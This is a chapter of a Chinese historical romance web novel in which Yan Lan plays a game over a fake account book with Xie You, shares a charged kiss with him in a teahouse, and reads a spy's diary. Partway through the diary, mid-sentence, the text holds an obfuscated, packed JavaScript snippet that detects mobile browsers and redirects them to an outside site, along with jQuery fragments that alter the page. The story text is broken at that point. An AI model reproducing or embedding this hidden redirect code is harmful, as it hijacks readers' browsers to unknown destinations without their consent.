墨羽离开了偏房,燕览换上新衣,惰珠在一旁,这才回过神来。
她赞叹道,“姑娘想的真是长远,从离京之前便有了对策。”可半晌她又困惑,“那我们之后要如何做?谢公子未必不知道,他的那本是假的。”
燕览低头正系着腰带,闻言一笑。
“他当然知道。”她抬眸,“他比谁都精。”
“那我们要做什么?万一他来抢可如何是好?”
燕览嗤笑,“不会。”
“他这人只信他自己培养的人。墨羽既然说了我没拿到,那谢游必定会信,届时,他一定会以为我以为账本在他手里,他便好假以瓮中捉鳖的动机引我去拿,再趁机让我从他那里把那本假账簿拿走,以为侥幸得逞。”
燕览一边说着一边折好丁香色的绢布,“到时候再等我发现他的账簿是假的,好兀自后悔自己费尽周折,他倒作壁上观,好不乐哉。同时他定然早就偷偷留了后手,派人去查真账簿的下落。”她得意一笑,“不过那便让他查,反正他也查不到,因为真账簿就在我手里。等他反应过来墨羽骗了他时,我已经拿着真账簿回京了。”
这一通叙述给惰珠听得云里雾里,绕来绕去不清楚。
她只问,“那燕姑娘的意思是,你接下来要如何做呢?”
燕览望着窗纸渗进来的阳光。
“我只需假意中招,如他所愿,想方设法去拿假账本即可。”
“我倒要看看他用什么招数,能毫发无伤地从我的‘抢夺’下全身而退。”
·
茶馆包厢饭桌上,残羹冷炙在此刻显得更冰冷。
燕览与谢游仍僵持着。
她气得怒火中烧。一部分原因惊叹于是谢游的厚颜无耻,另一部分则是,她感到自己被自己做了局。
换做平时她会另想他法去拿这真账本,不必与他周旋,如今却只能对他言听计从,只为将戏做真做全,拿了这假的账簿走。
面对他的要求,燕览赴死一般探出头,飞快地啄米似的在谢游的脸颊上碰了一下。
她缩回脑袋,不自觉有点羞恼。
这一碰,谢游的气息在她鼻尖转瞬即逝,却那么熟悉又亲切。
“好了,给我。”她伸出手,如释重负。
没想到谢游顿了顿,转过头来,摇头眯眼戏谑道:
“不够。”
“不够?”她惊诧,“你什么意思?”
“这算什么亲?”
“这怎么不算?”燕览急了,“你又没规定怎么样才算。”
“你没感受过?”谢游冷言,目光扫过她的耳垂、脖颈、锁骨,当时他就是按照这样的顺序亲过去的,“我亲你的时候,是这样亲的么——”
“你别说了!”燕览紧急呵斥道。
她脸忽得涨红,他怎么能大言不惭说这些话!她听不下去一点。
“那,那再来一次。”
“嗯。”谢游笑。
燕览抿嘴咬牙地凑过去,“说好了,就这一次啊。”
她慢慢靠近谢游的脸颊,这次速度慢,那缕属于他身上的沉水香气传递得更有层次。她凑得越来越近,甚至能看到脸颊上细腻的皮肤纹理。
她轻轻将唇放了上去,两种柔软触碰,温热的唇碰上冰凉的脸。随后朱唇从脸颊上,慢慢试探着向下,到耳垂,再到侧颈,学习着他的动作一样生涩地前进。
随着那缕男人的气息更浓烈,而燕览也感受到他的体温愈渐升高。
男人的身躯好像有些战栗,在隐忍克制着什么,像是不耐。
是她亲的太差了?
她将动作再放慢放重了一些。那夜他是如何做的?她回想着。可他动作鲁莽放肆得多,她根本做不到。
可她越是注意着动作,越感到男人不对劲了。他好像很不耐烦,不住燥动,嘴边还发出啧声。
亲回他的耳垂,他这次躲了开。
耳垂已经鲜红欲滴,燕览不知道她自己的也是。狭小精致的包厢内,风吹起窗帘水红色的纱幔,绫罗绸缎飘摇在空中。
她不知道这一系列动作,对他而言已是难以抑制暗涌情绪的撩拨与挑弄。
谢游陡然抓住燕览的后颈,将正欲下嘴的她拎了开。燕览一惊,见到谢游神色迷离,眉头低压,愠色明显,眸中汹涌地看着自己。明明是她在亲,他却喘着粗气道:
“太差了,我教你。”
话毕,他便用唇堵住了她的唇。
还是那样的莽撞放肆,这股气息喧嚣之上,直直冲破了她的防备,冲到她的大脑。他径直推着她,将她狠狠抵往包厢的墙壁上。
就着墙壁,这枚吻和那夜一样肆意且强势,缱绻又荒谬。
燕览没反应过来,却已经难以呼吸。她炮仗似的被点燃,生气地将他推了好几下才推开,反手就是一巴掌。
谢游显而易见懵了一刹那,燕览也是。她看了看手心,不知是否打的太用力,正彷徨时,谢游却并不收敛,被这一打给彻底激活了开关。
他再次吻了上去。
而这次,燕览脱离刚才被命令的状态,她自己也被这一耳光恢复了神志。这一吻落下,她不知所措地迎接,身体却彻底柔软,陷入到二人的沉沦中去。
他不住吻着,也不住喘着,感受到燕览并不抵抗甚至配合,他在她的唇上挑弄着咬出铁锈味道的血点,又松开她的唇,在昏黄的灯光下压在她耳边挑衅:
“比起主动学,看来有的人更喜欢被教,嗯?”
燕览浑身羞耻,却被他摆弄得无法逃脱。
他死死握住她的手腕,将她贴在墙上,如镣铐一般。
“阿览,哪只小猫像你一样不乖?”
燕览听不得这些,只觉得身体内的欲念要冲破牢笼,她本能地挣脱,却又无法完全逃离。
直到最后,谢游温热粗粝的掌心抚摸上她大腿后侧的柔软,她已经双脚软绵到站不住。
再不阻止,真不敢想接下来会发生什么。
即使她没试过,也是知道的。
她的忐忑不安膨胀变大,而谢游也读心术一样的,很体贴地在这里停下来。
二人用额头抵着对方,不住喘气,燕览不敢直视他。
他看出她胆怯战栗,便克制了心中磅礴的欲念。但他亦看出她身体的诚实,跃跃欲试。
他附在她耳边用唯有两个人才能听到的音量道:
“阿览,如果你想要的话,可以说出来。”
“不丢人。”
燕览脸红心跳,魂也几乎脱离□□。在原地怔松了很久才把他猛推开,却没推得太远。
“谁,谁在想这些?!”
他笑,“那再试试看?”
他又伸出手抚向她的腰肢,她快速缩回,把他的手打落,“不用了!”
她垂着头,“你每次都这样无理。”
“是你,全身上下嘴最硬。”谢游道,“不过,我倒更想知道哪里最软。”
“下流!登徒子!”燕览怒骂。
“无所谓。”谢游恬不知耻道,“对你我不择手段。”
燕览将他彻底推开。
他不害臊,她还要脸。即使这里只有他们二人,即使他嘴里的每一句露骨之词都在一步步逼近她的内心,但她仍然别扭地无法适应。
她理好衣服,默认不对他再追究,狼狈地拿了那账簿。谢游也没拦,她便逃之夭夭了。
·
一真一假两本账簿摆在几案,乍一眼看上去没有分别。
两本玉色的账簿都略显斑驳,但仔细瞧去,一本有青紫光泽随光泛滥,一本只是普通质地。
燕览撑着脑袋,没精打采地看着。
风潇驿住店的大多是短客,来来往往,驿站内总是嘈杂非常。门被推开,嘈杂声中走入端着茶盘的惰珠。
惰珠将点心放在账簿旁,桃花糕与金桂饼,飘出淡淡的清香,燕览却并未抬头看一眼。
“两本账簿在手,姑娘怎么还如此心烦?”她边问边坐下,“难道谢公子刁难了你?”
燕览没精神地应了声,“没有。”
尽管她很想说那是刁难,但他却事实上把她“服侍”得很好。
惰珠不再问,燕览陡然道:
“关于谢游,你查的怎样?”
惰珠碰壁道,“他毕竟是首辅周边的人物,不好查呢。现今所查到的,都是些无关紧要虚与委蛇的书面之辞。”
“也是。”
燕览又失望地耷拉下来,却陡然想起一件物事。
她从行囊里翻出那块丁香色百合纹样绢布,取出了里头的册子。
册子前面记录的大多是秦杨与墨羽年少时事,他们流离失所,南下流浪,被表叔收养,自小墨羽便卖身在表叔家做下人,只为能给哥哥一个考取功名的前途。册子里的表述皆由墨羽亲自撰写,字里行间满是酸涩与渺小的希冀。
燕览只读了一两篇,便刷啦啦往后翻。
往后翻,字体也变得成熟隽秀起来。
直到翻到墨羽初次被谢游所招揽,她停下动作。
描述不多,只写着几行字便交代了她入首辅府故事的经过:
“玄盛六年,惊蛰。今天在马厩洒扫遇到一位矜贵的公子,他赏识我颇为能干敏捷,多给了三两银子。可以为哥哥买一条不错的牛皮蹀躞了。”
“玄盛六年,二月廿二。又遇见那位公子,他看起来有些古怪,高深莫测。”
“玄盛六年,二月廿八。谢公子原来是当今首辅的幕僚,不知道会不会和哥哥有什么接触。”
“玄盛六年,三月初一。为了离哥哥近一点,我答应做谢公子的线人,我没告诉哥哥,也没告诉谢公子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141985|178471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关于哥哥的事.......如果能让我时常看到哥哥,那即使让以前我们的痕迹被抹去,也是值得的吧。”
又隔了几行,记录了些杂事,时间陡然跨度拉大,再次记录已经来到了半年后。
“玄盛六年,十月廿三。原来人可以流这么多血。今天好险,不过还好谢公子派了淮驹接应,我才逃了出去......夜里的宫廷森如鬼火,原来哥哥在这种地方度日。重重叠叠的宫墙,钦天监好远好远。”
“玄盛六年,十月廿四。这份差事好像并不能见到哥哥。”
......
燕览读得有些微心酸,她停了下来。
她印象里的秦杨实非憨厚踏实之辈,也不知是入宫前就如此,还是进了宫廷的大染缸,近墨者黑。
但从秦墨羽的文字里却能看到兄妹二人的往昔和现在,她对兄长的思念如此深,而那人又知道多少。
燕览又翻了开。
“玄盛六年,十二月廿五。哥哥被人陷害,入了诏狱!我一定要救他出来!可是,我能怎么办......”
“玄盛六年,十二月廿八。我假借身份进诏狱见了哥哥一面,哥哥知道我在为谢公子做事了,他很失望。今天雪好大,还好把谢公子给我的狐裘给哥哥了,不然那冰冷的诏狱,一定极其难耐。对了,提到谢公子......”
燕览眼睛一凝。
“谢公子今日很怪。快深更他才戴月而归,身负绵绵银雪,一言不发进了府邸。我问淮驹大人,淮驹说,他今日一日都不在京城,而在一座很远的山里。”
山里......燕览接着往下看。
“玄盛七年,一月初二。谢公子给府里每个下人都送了一枚香囊。香囊朱红饱满,却眼生,上绣‘德恩寺’,京城里好像没有这个寺。要是能把香囊给哥哥当做护身符,就好了。”
“玄盛七年,一月初八。最近差事少了好多。虽然谢公子一有命令便多少沾点凶险,但没有的时候,日子倒是清净。不过,他好像有心事,看起来郁郁寡欢。哥哥在诏狱里,是不是也一样?我好无能,什么也干不了。”
“玄盛七年,二月初五。倒春寒一来,院子里又装满了雪。谢公子为什么总喜欢在冰天雪地里下棋呢?不冷么。”
燕览似乎越看越入迷,接着往下翻。
“玄盛七年,四月初四。那长公主的同僚孟惜还是被拖下了水,甚好。今日休沐大贺,谢公子豪爽话少,只给了我们很多银两叫我们自己去花。不知道长公主府里的诸葛是谁,但这样看来,不如我们谢公子。”
燕览眉心一跳。
吃瓜还吃到自己身上了。
“玄盛七年,四月廿二。这段时日长公主府似乎没什么动静,貌似在休养生息。这样也好,想来从马厩到当细作,真是跨度大,我也有点累了,不知道哥哥怎么样。”
“玄盛七年,六月廿二。听洒扫的下人说,谢公子最珍爱的棋盘上少了一颗白子,奇怪。不知是哪个糊涂鬼弄丢的,这下要遭殃了。”
燕览失笑,却猛地一怔。
六月廿二......这日子,是谢游与她初次在游船上弈棋试探那日。这颗白子,不会是谢游包在绢布里,赠与她的那枚吧?
“玄盛七年,六月廿四。谢公子今天心情很好,不过看起来很怪。听下人议论说他去了烟花之地,原来男人去那种地方心情都这么好,还以为谢公子是高洁之人,会有所不同。”
燕览冷笑一声。
随即她却反应过来不对。六月廿四,这日子,是她去胭云坊刺探冷玉时被谢游瓮中捉鳖那次!
原来那日捉弄她后,他肉眼可见的心情好。
可恶。
她再往后翻。
时间再度跨越,便到了最后一条。
“玄盛七年,七月初七。宫中消息传来,哥哥被放出来了!太好了!我就知道哥哥是冤枉的。唉,但马上便要去邶江范氏府中潜伏了,什么时候才能见到哥哥呢......”
后面便再无内容。
燕览合上册子。
原来当时军中消息一传,谢游便留了后手。还真是阴险狡诈。
她陡然发觉墨羽的作用不小,以后叫她继续守在谢游身边观察他也不错。而这副册子,透露出的消息不多,却隐约能察觉有些疑点。
至少这“德恩寺”,她得抽空去寻一趟了。
燕览收起册子,细心裹在丁香色绢布里放好。
谢游的存在使她快意、忧愁,使她倍感折磨。她分不清那是欲望还是痛觉。
直觉告诉她,他一定有许多不可见人的秘密。
过往深似海。而那海底越深不可测,她便越有强烈欲望深入探前。直到将那海完全变成自己的领地,直到找到那片汹涌海域里最柔软的珍珠。
再将其彻底摧毁。